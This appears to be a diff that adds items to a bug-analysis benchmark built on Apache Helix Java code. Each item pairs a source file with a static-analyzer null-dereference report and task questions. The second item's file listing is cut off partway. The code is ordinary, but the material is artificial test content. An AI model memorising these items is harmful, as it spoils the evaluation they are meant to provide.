+      mapFields.put(partitionName, new TreeMap<String, String>());
+    }
+    mapFields.get(partitionName).put(CurrentStateProperty.CURRENT_STATE.toString(), state);
+  }
+
+  public void setInfo(String partitionName, String info) {
+    Map<String, Map<String, String>> mapFields = _record.getMapFields();
+    if (mapFields.get(partitionName) == null) {
+      mapFields.put(partitionName, new TreeMap<String, String>());
+    }
+    mapFields.get(partitionName).put(CurrentStateProperty.INFO.name(), info);
+  }
+
+  public void setRequestedState(String partitionName, String state) {
+    Map<String, Map<String, String>> mapFields = _record.getMapFields();
+    if (mapFields.get(partitionName) == null) {
+      mapFields.put(partitionName, new TreeMap<String, String>());
+    }
+    mapFields.get(partitionName).put(CurrentStateProperty.REQUESTED_STATE.name(), state);
+  }
+
+  /**
+   * Set the state model factory
+   * @param factoryName the name of the factory
+   */
+  public void setStateModelFactoryName(String factoryName) {
+    _record.setSimpleField(CurrentStateProperty.STATE_MODEL_FACTORY_NAME.toString(), factoryName);
+  }
+
+  /**
+   * Get the state model factory
+   * @return a name that identifies the state model factory
+   */
+  public String getStateModelFactoryName() {
+    return _record.getSimpleField(CurrentStateProperty.STATE_MODEL_FACTORY_NAME.toString());
+  }
+
+  // @Override
+  // public int getBucketSize()
+  // {
+  // String bucketSizeStr =
+  // _record.getSimpleField(CurrentStateProperty.BUCKET_SIZE.toString());
+  // int bucketSize = 0;
+  // if (bucketSizeStr != null)
+  // {
+  // try
+  // {
+  // bucketSize = Integer.parseInt(bucketSizeStr);
+  // }
+  // catch (NumberFormatException e)
+  // {
+  // // OK
+  // }
+  // }
+  // return bucketSize;
+  // }
+  //
+  // @Override
+  // public void setBucketSize(int bucketSize)
+  // {
+  // if (bucketSize > 0)
+  // {
+  // _record.setSimpleField(CurrentStateProperty.BUCKET_SIZE.toString(), "" + bucketSize);
+  // }
+  // }
+
+  @Override
+  public boolean isValid() {
+    if (getStateModelDefRef() == null) {
+      LOG.error("Current state does not contain state model ref. id:" + getResourceName());
+      return false;
+    }
+    if (getSessionId() == null) {
+      LOG.error("CurrentState does not contain session id, id : " + getResourceName());
+      return false;
+    }
+    return true;
+  }
+
+}
+
+```
+
+### Bug Class:
+PROVER
+
+### Kind:
+ERROR
+
+### Bug Type:
+NULL_DEREFERENCE
+
+### Qualifier:
+object returned by `mapFields.get(partitionName)` could be null and is dereferenced at line 180.
+
+### Severity:
+HIGH
+
+### Visibility:
+user
+
+### Procedure:
+void CurrentState.setRequestedState(String,String)
+
+### Procedure Id:
+org.apache.helix.model.CurrentState.setRequestedState(java.lang.String,java.lang.String):void.692908a424b528af4437406dd22ba483
+
+### File:
+helix-core/src/main/java/org/apache/helix/model/CurrentState.java
+
+### Key:
+CurrentState.java|setRequestedState|NULL_DEREFERENCE
+
+### Node Key:
+7ce77dfc12bcde1470a9df893e63147d
+
+### Hash:
+adfbd76ad836dd11244d10cdd4b5da7b
+
+### Bug Type Hum:
+Null Dereference
+
+## Task
+
+Analyze the bug information provided above. Your task is to:
+
+1. **Understand the Bug**: Examine the buggy code and identify what the issue was
+2. **Analyze the Root Cause**: Determine why this bug occurred (logic error, edge case, etc.)
+3. **Evaluate the Fix**: Understand how the after code addresses the issue
+4. **Code Review**: Provide insights on code quality, potential improvements, and best practices
+
+### Analysis Questions:
+- What was the specific bug or issue in the original code?
+- What scenarios would trigger this bug?
+- How does the fix address the root cause?
+- Are there any potential edge cases the fix might miss?
+- What coding practices could have prevented this bug?
+- Are there alternative ways to implement the fix?
+
+Use the provided environment to explore, test, or reproduce the bug if needed.
diff --git a/inferredbugs-9627/instruction.md b/inferredbugs-9627/instruction.md
new file mode 100644
index 0000000000000000000000000000000000000000..9535bbf5ebb0ff3ff6837182c6c5952c0062f7ac
--- /dev/null
+++ b/inferredbugs-9627/instruction.md
@@ -0,0 +1,1473 @@
+# InferredBugs Task - Java
+
+## Project Information
+
+**Project:** helix
+**Bug ID:** 79
+**Language:** java
+
+## Bug Information
+
+### File-Level Changes:
+
+**Before (Buggy File):**
+```java
+package org.apache.helix.manager.zk;
+
+/*
+ * Licensed to the Apache Software Foundation (ASF) under one
+ * or more contributor license agreements.  See the NOTICE file
+ * distributed with this work for additional information
+ * regarding copyright ownership.  The ASF licenses this file
+ * to you under the Apache License, Version 2.0 (the
+ * "License"); you may not use this file except in compliance
+ * with the License.  You may obtain a copy of the License at
+ *
+ *   http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing,
+ * software distributed under the License is distributed on an
+ * "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+ * KIND, either express or implied.  See the License for the
+ * specific language governing permissions and limitations
+ * under the License.
+ */
+
+import java.io.IOException;
+import java.net.InetAddress;
+import java.net.UnknownHostException;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.Timer;
+import java.util.concurrent.TimeUnit;
+import javax.management.JMException;
+
+import com.google.common.collect.Sets;
+
+import org.apache.helix.BaseDataAccessor;
+import org.apache.helix.ClusterMessagingService;
+import org.apache.helix.ConfigAccessor;
+import org.apache.helix.HelixAdmin;
+import org.apache.helix.HelixConstants.ChangeType;
+import org.apache.helix.HelixDataAccessor;
+import org.apache.helix.HelixException;
+import org.apache.helix.HelixManager;
+import org.apache.helix.HelixManagerProperties;
+import org.apache.helix.HelixManagerProperty;
+import org.apache.helix.HelixPropertyFactory;
+import org.apache.helix.HelixTimerTask;
+import org.apache.helix.InstanceType;
+import org.apache.helix.LiveInstanceInfoProvider;
+import org.apache.helix.PreConnectCallback;
+import org.apache.helix.PropertyKey;
+import org.apache.helix.PropertyKey.Builder;
+import org.apache.helix.PropertyPathBuilder;
+import org.apache.helix.PropertyType;
+import org.apache.helix.SystemPropertyKeys;
+import org.apache.helix.api.listeners.ClusterConfigChangeListener;
+import org.apache.helix.api.listeners.ConfigChangeListener;
+import org.apache.helix.api.listeners.ControllerChangeListener;
+import org.apache.helix.api.listeners.CurrentStateChangeListener;
+import org.apache.helix.api.listeners.CustomizedStateChangeListener;
+import org.apache.helix.api.listeners.CustomizedStateConfigChangeListener;
+import org.apache.helix.api.listeners.CustomizedStateRootChangeListener;
+import org.apache.helix.api.listeners.CustomizedViewChangeListener;
+import org.apache.helix.api.listeners.CustomizedViewRootChangeListener;
+import org.apache.helix.api.listeners.ExternalViewChangeListener;
+import org.apache.helix.api.listeners.IdealStateChangeListener;
+import org.apache.helix.api.listeners.InstanceConfigChangeListener;
+import org.apache.helix.api.listeners.LiveInstanceChangeListener;
+import org.apache.helix.api.listeners.MessageListener;
+import org.apache.helix.api.listeners.ResourceConfigChangeListener;
+import org.apache.helix.api.listeners.ScopedConfigChangeListener;
+import org.apache.helix.controller.GenericHelixController;
+import org.apache.helix.controller.pipeline.Pipeline;
+import org.apache.helix.healthcheck.ParticipantHealthReportCollector;
+import org.apache.helix.healthcheck.ParticipantHealthReportCollectorImpl;
+import org.apache.helix.healthcheck.ParticipantHealthReportTask;
+import org.apache.helix.messaging.DefaultMessagingService;
+import org.apache.helix.model.BuiltInStateModelDefinitions;
+import org.apache.helix.model.HelixConfigScope.ConfigScopeProperty;
+import org.apache.helix.model.LiveInstance;
+import org.apache.helix.monitoring.ZKPathDataDumpTask;
+import org.apache.helix.monitoring.mbeans.HelixCallbackMonitor;
+import org.apache.helix.monitoring.mbeans.MonitorLevel;
+import org.apache.helix.msdcommon.exception.InvalidRoutingDataException;
+import org.apache.helix.participant.HelixStateMachineEngine;
+import org.apache.helix.participant.StateMachineEngine;
+import org.apache.helix.store.zk.AutoFallbackPropertyStore;
+import org.apache.helix.store.zk.ZkHelixPropertyStore;
+import org.apache.helix.util.HelixUtil;
+import org.apache.helix.zookeeper.api.client.HelixZkClient;
+import org.apache.helix.zookeeper.api.client.RealmAwareZkClient;
+import org.apache.helix.zookeeper.datamodel.ZNRecord;
+import org.apache.helix.zookeeper.impl.factory.DedicatedZkClientFactory;
+import org.apache.helix.zookeeper.impl.factory.HelixZkClientFactory;
+import org.apache.helix.zookeeper.impl.factory.SharedZkClientFactory;
+import org.apache.helix.zookeeper.zkclient.IZkStateListener;
+import org.apache.helix.zookeeper.zkclient.exception.ZkInterruptedException;
+import org.apache.helix.zookeeper.zkclient.serialize.PathBasedZkSerializer;
+import org.apache.zookeeper.Watcher.Event.EventType;
+import org.apache.zookeeper.Watcher.Event.KeeperState;
+import org.slf4j.Logger;
+import org.slf4j.LoggerFactory;
+import org.apache.helix.zookeeper.datamodel.serializer.ChainedPathZkSerializer;
+import org.apache.helix.zookeeper.datamodel.serializer.ZNRecordSerializer;
+
+public class ZKHelixManager implements HelixManager, IZkStateListener {
+  private static Logger LOG = LoggerFactory.getLogger(ZKHelixManager.class);
+
+  public static final String ALLOW_PARTICIPANT_AUTO_JOIN = "allowParticipantAutoJoin";
+  private static final int FLAPPING_TIME_WINDOW = 300000; // Default to 300 sec
+  public static final int DEFAULT_MAX_DISCONNECT_THRESHOLD = 600; // Default to be a large number
+  private static final int DEFAULT_WAIT_CONNECTED_TIMEOUT = 10 * 1000;  // wait until connected for up to 10 seconds.
+
+  protected final String _zkAddress;
+  private final String _clusterName;
+  private final String _instanceName;
+  private final InstanceType _instanceType;
+  private final int _waitForConnectedTimeout; // wait time for testing connect
+  private final int _sessionTimeout; // client side session timeout, will be overridden by server timeout. Disconnect after timeout
+  private final int _connectionInitTimeout; // client timeout to init connect
+  private final List<PreConnectCallback> _preConnectCallbacks;
+  protected final List<CallbackHandler> _handlers;
+  private final HelixManagerProperties _properties;
+  private final HelixManagerProperty _helixManagerProperty;
+  private final HelixManagerStateListener _stateListener;
+
+  /**
+   * helix version#
+   */
+  private final String _version;
+  private int _reportLatency;
+
+  protected RealmAwareZkClient _zkclient;
+  private final DefaultMessagingService _messagingService;
+  private Map<ChangeType, HelixCallbackMonitor> _callbackMonitors;
+
+  private final MonitorLevel _monitorLevel;
+
+  private BaseDataAccessor<ZNRecord> _baseDataAccessor;
+  private ZKHelixDataAccessor _dataAccessor;
+  private final Builder _keyBuilder;
+  private ConfigAccessor _configAccessor;
+  private ZkHelixPropertyStore<ZNRecord> _helixPropertyStore;
+  protected LiveInstanceInfoProvider _liveInstanceInfoProvider = null;
+
+  private volatile String _sessionId;
+
+  /**
+   * Keep track of timestamps that zk State has become Disconnected If in a _timeWindowLengthMs
+   * window zk State has become Disconnected for more than_maxDisconnectThreshold times disconnect
+   * the zkHelixManager
+   */
+  private final List<Long> _disconnectTimeHistory = new ArrayList<Long>();
+  private final int _flappingTimeWindowMs;
+  private final int _maxDisconnectThreshold;
+
+  /**
+   * participant fields
+   */
+  private final StateMachineEngine _stateMachineEngine;
+  private final List<HelixTimerTask> _timerTasks = new ArrayList<>();
+
+  private final ParticipantHealthReportCollectorImpl _participantHealthInfoCollector;
+  private Long _sessionStartTime;
+  private ParticipantManager _participantManager;
+
+  /**
+   * controller fields
+   */
+  private GenericHelixController _controller;
+  private Set<Pipeline.Type> _enabledPipelineTypes;
+  private CallbackHandler _leaderElectionHandler = null;
+  protected final List<HelixTimerTask> _controllerTimerTasks = new ArrayList<>();
+
+  /**
+   * status dump timer-task
+   */
+  protected static class StatusDumpTask extends HelixTimerTask {
+    final HelixManager helixController;
+
+    public StatusDumpTask(HelixManager helixController) {
+      this.helixController = helixController;
+    }
+
+    @Override
+    public synchronized void start() {
+      long initialDelay = 0;
+      long period = 15 * 60 * 1000;
+      long timeThresholdNoChangeForStatusUpdates = 15 * 60 * 1000; // 15 minutes
+      long timeThresholdNoChangeForErrors = 24 * 60 * 60 * 1000; // 1 day
+      int maximumNumberOfLeafNodesAllowed = 100;
+
+      if (_timer == null) {
+        LOG.info("Start StatusDumpTask");
+        _timer = new Timer("StatusDumpTimerTask", true);
+        _timer.scheduleAtFixedRate(
+            new ZKPathDataDumpTask(helixController, timeThresholdNoChangeForStatusUpdates,
+                timeThresholdNoChangeForErrors, maximumNumberOfLeafNodesAllowed), initialDelay,
+            period);
+      }
+    }
+
+    @Override
+    public synchronized void stop() {
+      if (_timer != null) {
+        LOG.info("Stop StatusDumpTask");
+        _timer.cancel();
+        _timer = null;
+      }
+    }
+  }
+
+  public ZKHelixManager(String clusterName, String instanceName, InstanceType instanceType,
+      String zkAddress) {
+    this(clusterName, instanceName, instanceType, zkAddress, null);
+  }
+
+  public ZKHelixManager(String clusterName, String instanceName, InstanceType instanceType,
+      String zkAddress, HelixManagerStateListener stateListener) {
+    this(clusterName, instanceName, instanceType, zkAddress, stateListener,
+        HelixPropertyFactory.getInstance().getHelixManagerProperty(zkAddress, clusterName));
+  }
+
+  public ZKHelixManager(String clusterName, String instanceName, InstanceType instanceType,
+      String zkAddress, HelixManagerStateListener stateListener,
+      HelixManagerProperty helixManagerProperty) {
+
+    LOG.info("Create a zk-based cluster manager. zkSvr: " + zkAddress + ", clusterName: "
+        + clusterName + ", instanceName: " + instanceName + ", type: " + instanceType);
+
+    _zkAddress = zkAddress;
+    _clusterName = clusterName;
+    _instanceType = instanceType;
+
+    if (instanceName == null) {
+      try {
+        instanceName =
+            InetAddress.getLocalHost().getCanonicalHostName() + "-" + instanceType.toString();
+      } catch (UnknownHostException e) {
+        // can ignore it
+        LOG.info("Unable to get host name. Will set it to UNKNOWN, mostly ignorable", e);
+        instanceName = "UNKNOWN";
+      }
+    }
+
+    _instanceName = instanceName;
+    _enabledPipelineTypes =
+        Sets.newHashSet(Pipeline.Type.DEFAULT, Pipeline.Type.TASK);
+    _preConnectCallbacks = new ArrayList<>();
+    _handlers = new ArrayList<>();
+    _properties = new HelixManagerProperties(SystemPropertyKeys.CLUSTER_MANAGER_VERSION);
+    _version = _properties.getVersion();
+
+    _keyBuilder = new Builder(clusterName);
+    _messagingService = new DefaultMessagingService(this);
+    try {
+      _callbackMonitors = new HashMap<>();
+      for (ChangeType changeType : ChangeType.values()) {
+        HelixCallbackMonitor callbackMonitor =
+            new HelixCallbackMonitor(instanceType, clusterName, instanceName, changeType);
+        callbackMonitor.register();
+        _callbackMonitors.put(changeType, callbackMonitor);
+      }
+    } catch (JMException e) {
+      LOG.error("Error in creating callback monitor.", e);
+    }
+
+    _stateListener = stateListener;
+    _helixManagerProperty = helixManagerProperty;
+
+    /**
+     * use system property if available
+     */
+    _flappingTimeWindowMs = HelixUtil.getSystemPropertyAsInt(SystemPropertyKeys.FLAPPING_TIME_WINDOW,
+        ZKHelixManager.FLAPPING_TIME_WINDOW);
+
+    _maxDisconnectThreshold = HelixUtil
+        .getSystemPropertyAsInt(SystemPropertyKeys.MAX_DISCONNECT_THRESHOLD,
+            ZKHelixManager.DEFAULT_MAX_DISCONNECT_THRESHOLD);
+
+    _sessionTimeout = HelixUtil.getSystemPropertyAsInt(SystemPropertyKeys.ZK_SESSION_TIMEOUT,
+        HelixZkClient.DEFAULT_SESSION_TIMEOUT);
+
+    _connectionInitTimeout = HelixUtil
+        .getSystemPropertyAsInt(SystemPropertyKeys.ZK_CONNECTION_TIMEOUT,
+            HelixZkClient.DEFAULT_CONNECTION_TIMEOUT);
+
+    _waitForConnectedTimeout = HelixUtil
+        .getSystemPropertyAsInt(SystemPropertyKeys.ZK_WAIT_CONNECTED_TIMEOUT,
+            DEFAULT_WAIT_CONNECTED_TIMEOUT);
+
+    _reportLatency = HelixUtil
+        .getSystemPropertyAsInt(SystemPropertyKeys.PARTICIPANT_HEALTH_REPORT_LATENCY,
+            ParticipantHealthReportTask.DEFAULT_REPORT_LATENCY);
+
+    MonitorLevel configuredMonitorLevel;
+    try {
+      configuredMonitorLevel = MonitorLevel.valueOf(
+          System.getProperty(SystemPropertyKeys.MONITOR_LEVEL, MonitorLevel.DEFAULT.name()));
+    } catch (IllegalArgumentException ex) {
+      LOG.warn("Unrecognizable Monitor Level configuration. Use DEFAULT monitor level.", ex);
+      configuredMonitorLevel = MonitorLevel.DEFAULT;
+    }
+    _monitorLevel = configuredMonitorLevel;
+
+    /**
+     * instance type specific init
+     */
+    switch (instanceType) {
+    case PARTICIPANT:
+      _stateMachineEngine = new HelixStateMachineEngine(this);
+      _participantHealthInfoCollector =
+          new ParticipantHealthReportCollectorImpl(this, _instanceName);
+      _timerTasks
+          .add(new ParticipantHealthReportTask(_participantHealthInfoCollector, _reportLatency));
+      break;
+    case CONTROLLER:
+      _stateMachineEngine = null;
+      _participantHealthInfoCollector = null;
+      _controllerTimerTasks.add(new StatusDumpTask(this));
+
+      break;
+    case CONTROLLER_PARTICIPANT:
+      _stateMachineEngine = new HelixStateMachineEngine(this);
+      _participantHealthInfoCollector =
+          new ParticipantHealthReportCollectorImpl(this, _instanceName);
+
+      _timerTasks
+          .add(new ParticipantHealthReportTask(_participantHealthInfoCollector, _reportLatency));
+      _controllerTimerTasks.add(new StatusDumpTask(this));
+      break;
+    case ADMINISTRATOR:
+    case SPECTATOR:
+      _stateMachineEngine = null;
+      _participantHealthInfoCollector = null;
+      break;
+    default:
+      throw new IllegalArgumentException("unrecognized type: " + instanceType);
+    }
+  }
+
+  public void setEnabledControlPipelineTypes(Set<Pipeline.Type> types) {
+    if (!InstanceType.CONTROLLER.equals(_instanceType) && !InstanceType.CONTROLLER_PARTICIPANT
+        .equals(_instanceType)) {
+      throw new IllegalStateException(
+          String.format("Cannot enable control pipeline for instance type %s", _instanceType));
+    }
+    _enabledPipelineTypes = types;
+  }
+
+  @Override public boolean removeListener(PropertyKey key, Object listener) {
+    LOG.info("Removing listener: " + listener + " on path: " + key.getPath() + " from cluster: "
+        + _clusterName + " by instance: " + _instanceName);
+
+    synchronized (this) {
+      List<CallbackHandler> toRemove = new ArrayList<>();
+      for (CallbackHandler handler : _handlers) {
+        // compare property-key path and listener reference
+        if (handler.getPath().equals(key.getPath()) && handler.getListener().equals(listener)) {
+          toRemove.add(handler);
+        }
+      }
+
+      _handlers.removeAll(toRemove);
+
+      // handler.reset() may modify the handlers list, so do it outside the iteration
+      for (CallbackHandler handler : toRemove) {
+        handler.reset(true);
+      }
+    }
+
+    return true;
+  }
+
+  void checkConnected() {
+    checkConnected(-1);
+  }
+
+  /**
+   * Check if HelixManager is connected, if it is not connected,
+   * wait for the specified timeout and check again before return.
+   *
+   * @param timeout
+   */
+  void checkConnected(long timeout) {
+    if (_zkclient == null || _zkclient.isClosed()) {
+      throw new HelixException(
+          "HelixManager (ZkClient) is not connected. Call HelixManager#connect()");
+    }
+
+    boolean isConnected = isConnected();
+    if (!isConnected && timeout > 0) {
+      LOG.warn(
+          "zkClient to " + _zkAddress + " is not connected, wait for " + _waitForConnectedTimeout
+              + "ms.");
+      isConnected = _zkclient.waitUntilConnected(_waitForConnectedTimeout, TimeUnit.MILLISECONDS);
+    }
+
+    if (!isConnected) {
+      LOG.error("zkClient is not connected after waiting " + timeout + "ms."
+          + ", clusterName: " + _clusterName + ", zkAddress: " + _zkAddress);
+      throw new HelixException(
+          "HelixManager is not connected within retry timeout for cluster " + _clusterName);
+    }
+  }
+
+  void addListener(Object listener, PropertyKey propertyKey, ChangeType changeType,
+      EventType[] eventType) {
+    checkConnected(_waitForConnectedTimeout);
+
+    PropertyType type = propertyKey.getType();
+
+    synchronized (this) {
+      for (CallbackHandler handler : _handlers) {
+        // compare property-key path and listener reference
+        if (handler.getPath().equals(propertyKey.getPath())
+            && handler.getListener().equals(listener)) {
+          LOG.info("Listener: " + listener + " on path: " + propertyKey.getPath()
+              + " already exists. skip add");
+
+          return;
+        }
+      }
+
+      CallbackHandler newHandler =
+          new CallbackHandler(this, _zkclient, propertyKey, listener, eventType, changeType,
+              _callbackMonitors.get(changeType));
+
+      _handlers.add(newHandler);
+      LOG.info("Added listener: " + listener + " for type: " + type + " to path: "
+          + newHandler.getPath());
+    }
+  }
+
+  @Override
+  public void addIdealStateChangeListener(final IdealStateChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).idealStates(), ChangeType.IDEAL_STATE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addIdealStateChangeListener(final org.apache.helix.IdealStateChangeListener listener)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).idealStates(), ChangeType.IDEAL_STATE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addLiveInstanceChangeListener(LiveInstanceChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).liveInstances(), ChangeType.LIVE_INSTANCE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addLiveInstanceChangeListener(org.apache.helix.LiveInstanceChangeListener listener)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).liveInstances(), ChangeType.LIVE_INSTANCE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addConfigChangeListener(ConfigChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).instanceConfigs(), ChangeType.INSTANCE_CONFIG,
+        new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addInstanceConfigChangeListener(InstanceConfigChangeListener listener)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).instanceConfigs(), ChangeType.INSTANCE_CONFIG,
+        new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Deprecated
+  @Override
+  public void addInstanceConfigChangeListener(org.apache.helix.InstanceConfigChangeListener listener)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).instanceConfigs(), ChangeType.INSTANCE_CONFIG,
+        new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addResourceConfigChangeListener(ResourceConfigChangeListener listener) throws Exception{
+    addListener(listener, new Builder(_clusterName).resourceConfigs(), ChangeType.RESOURCE_CONFIG,
+        new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addCustomizedStateConfigChangeListener(
+      CustomizedStateConfigChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).customizedStateConfig(),
+        ChangeType.CUSTOMIZED_STATE_CONFIG, new EventType[] {
+            EventType.NodeDataChanged
+        });
+  }
+
+  @Override
+  public void addClusterfigChangeListener(ClusterConfigChangeListener listener) throws Exception{
+    addListener(listener, new Builder(_clusterName).clusterConfig(), ChangeType.CLUSTER_CONFIG,
+        new EventType[] { EventType.NodeDataChanged
+        });
+  }
+
+  @Override
+  public void addConfigChangeListener(ScopedConfigChangeListener listener, ConfigScopeProperty scope)
+      throws Exception {
+    Builder keyBuilder = new Builder(_clusterName);
+
+    PropertyKey propertyKey = null;
+    switch (scope) {
+    case CLUSTER:
+      propertyKey = keyBuilder.clusterConfigs();
+      break;
+    case PARTICIPANT:
+      propertyKey = keyBuilder.instanceConfigs();
+      break;
+    case RESOURCE:
+      propertyKey = keyBuilder.resourceConfigs();
+      break;
+    default:
+      break;
+    }
+
+    if (propertyKey != null) {
+      addListener(listener, propertyKey, ChangeType.CONFIG, new EventType[] {
+        EventType.NodeChildrenChanged
+      });
+    } else {
+      LOG.error("Can't add listener to config scope: " + scope);
+    }
+  }
+
+
+  @Deprecated
+  @Override
+  public void addConfigChangeListener(org.apache.helix.ScopedConfigChangeListener listener, ConfigScopeProperty scope)
+      throws Exception {
+    addConfigChangeListener((ScopedConfigChangeListener) listener, scope);
+  }
+
+  // TODO: Decide if do we still need this since we are exposing
+  // ClusterMessagingService
+  @Override
+  public void addMessageListener(MessageListener listener, String instanceName) {
+    addListener(listener, new Builder(_clusterName).messages(instanceName), ChangeType.MESSAGE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addMessageListener(org.apache.helix.MessageListener listener, String instanceName) {
+    addListener(listener, new Builder(_clusterName).messages(instanceName), ChangeType.MESSAGE,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addControllerMessageListener(MessageListener listener) {
+    addListener(listener, new Builder(_clusterName).controllerMessages(),
+        ChangeType.MESSAGES_CONTROLLER, new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addControllerMessageListener(org.apache.helix.MessageListener listener) {
+    addListener(listener, new Builder(_clusterName).controllerMessages(),
+        ChangeType.MESSAGES_CONTROLLER, new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addCurrentStateChangeListener(CurrentStateChangeListener listener,
+      String instanceName, String sessionId) throws Exception {
+    addListener(listener, new Builder(_clusterName).currentStates(instanceName, sessionId),
+        ChangeType.CURRENT_STATE, new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Deprecated
+  @Override
+  public void addCurrentStateChangeListener(org.apache.helix.CurrentStateChangeListener listener,
+      String instanceName, String sessionId) throws Exception {
+    addListener(listener, new Builder(_clusterName).currentStates(instanceName, sessionId),
+        ChangeType.CURRENT_STATE, new EventType[] { EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addCustomizedStateRootChangeListener(CustomizedStateRootChangeListener listener,
+      String instanceName) throws Exception {
+    addListener(listener, new Builder(_clusterName).customizedStatesRoot(instanceName),
+        ChangeType.CUSTOMIZED_STATE_ROOT, new EventType[]{EventType.NodeChildrenChanged});
+  }
+
+  @Override
+  public void addCustomizedStateChangeListener(CustomizedStateChangeListener listener,
+      String instanceName, String customizedStateType) throws Exception {
+    addListener(listener,
+        new Builder(_clusterName).customizedStates(instanceName, customizedStateType),
+        ChangeType.CUSTOMIZED_STATE, new EventType[]{EventType.NodeChildrenChanged});
+  }
+
+  @Override
+  public void addExternalViewChangeListener(ExternalViewChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).externalViews(), ChangeType.EXTERNAL_VIEW,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addCustomizedViewChangeListener(CustomizedViewChangeListener listener, String customizedStateType)
+      throws Exception {
+    addListener(listener, new Builder(_clusterName).customizedView(customizedStateType),
+        ChangeType.CUSTOMIZED_VIEW, new EventType[] {
+            EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addCustomizedViewRootChangeListener(CustomizedViewRootChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).customizedViews(),
+        ChangeType.CUSTOMIZED_VIEW_ROOT, new EventType[] {
+            EventType.NodeChildrenChanged
+        });
+  }
+
+  @Override
+  public void addTargetExternalViewChangeListener(ExternalViewChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).externalViews(), ChangeType.TARGET_EXTERNAL_VIEW,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addExternalViewChangeListener(org.apache.helix.ExternalViewChangeListener listener) throws Exception {
+    addListener(listener, new Builder(_clusterName).externalViews(), ChangeType.EXTERNAL_VIEW,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public void addControllerListener(ControllerChangeListener listener) {
+    addListener(listener, new Builder(_clusterName).controller(), ChangeType.CONTROLLER,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Deprecated
+  @Override
+  public void addControllerListener(org.apache.helix.ControllerChangeListener listener) {
+    addListener(listener, new Builder(_clusterName).controller(), ChangeType.CONTROLLER,
+        new EventType[] { EventType.NodeChildrenChanged });
+  }
+
+  @Override
+  public HelixDataAccessor getHelixDataAccessor() {
+    checkConnected(_waitForConnectedTimeout);
+    return _dataAccessor;
+  }
+
+  @Override
+  public ConfigAccessor getConfigAccessor() {
+    checkConnected(_waitForConnectedTimeout);
+    return _configAccessor;
+  }
+
+  @Override
+  public String getClusterName() {
+    return _clusterName;
+  }
+
+  /**
+   * Returns a string that can be used to connect to metadata store for this HelixManager instance
+   * i.e. for ZkHelixManager, this will have format "{zookeeper-address}:{port}"
+   * @return a string used to connect to metadata store
+   */
+  @Override
+  public String getMetadataStoreConnectionString() {
+    return _zkAddress;
+  }
+
+  @Override
+  public String getInstanceName() {
+    return _instanceName;
+  }
+
+  BaseDataAccessor<ZNRecord> createBaseDataAccessor() {
+    ZkBaseDataAccessor<ZNRecord> baseDataAccessor = new ZkBaseDataAccessor<>(_zkclient);
+    return baseDataAccessor;
+  }
+
+  /**
+   * Add Helix built-in state model definitions if not exist
+   */
+  private void addBuiltInStateModelDefinitions() {
+    for (BuiltInStateModelDefinitions def : BuiltInStateModelDefinitions.values()) {
+      // creation succeeds only if not exist
+      _dataAccessor.createStateModelDef(def.getStateModelDefinition());
+    }
+  }
+
+  private boolean isMonitorRootPathOnly() {
+    switch (_monitorLevel) {
+    case ALL:
+      return false;
+    case AGGREGATED_ONLY:
+      return true;
+    default:
+      // Otherwise, apply the default policy. Emitting full metrics for controllers only.
+      return !_instanceType.equals(InstanceType.CONTROLLER) && !_instanceType
+          .equals(InstanceType.CONTROLLER_PARTICIPANT);
+    }
+  }
+
+  void createClient() throws Exception {
+    final RealmAwareZkClient newClient = createSingleRealmZkClient();
+
+    synchronized (this) {
+      if (_zkclient != null) {
+        _zkclient.close();
+      }
+      _zkclient = newClient;
+
+      _baseDataAccessor = createBaseDataAccessor();
+
+      _dataAccessor = new ZKHelixDataAccessor(_clusterName, _instanceType, _baseDataAccessor);
+      _configAccessor = new ConfigAccessor(_zkclient);
+
+      if (_instanceType == InstanceType.CONTROLLER
+          || _instanceType == InstanceType.CONTROLLER_PARTICIPANT) {
+        addBuiltInStateModelDefinitions();
+      }
+    }
+
+    // subscribe to state change
+    _zkclient.subscribeStateChanges(this);
+    int retryCount = 0;
+    while (retryCount < 3) {
+      try {
+        final long sessionId =
+            _zkclient.waitForEstablishedSession(_connectionInitTimeout, TimeUnit.MILLISECONDS);
+        handleStateChanged(KeeperState.SyncConnected);
+        /*
+         * This listener is subscribed after SyncConnected and firing new session events,
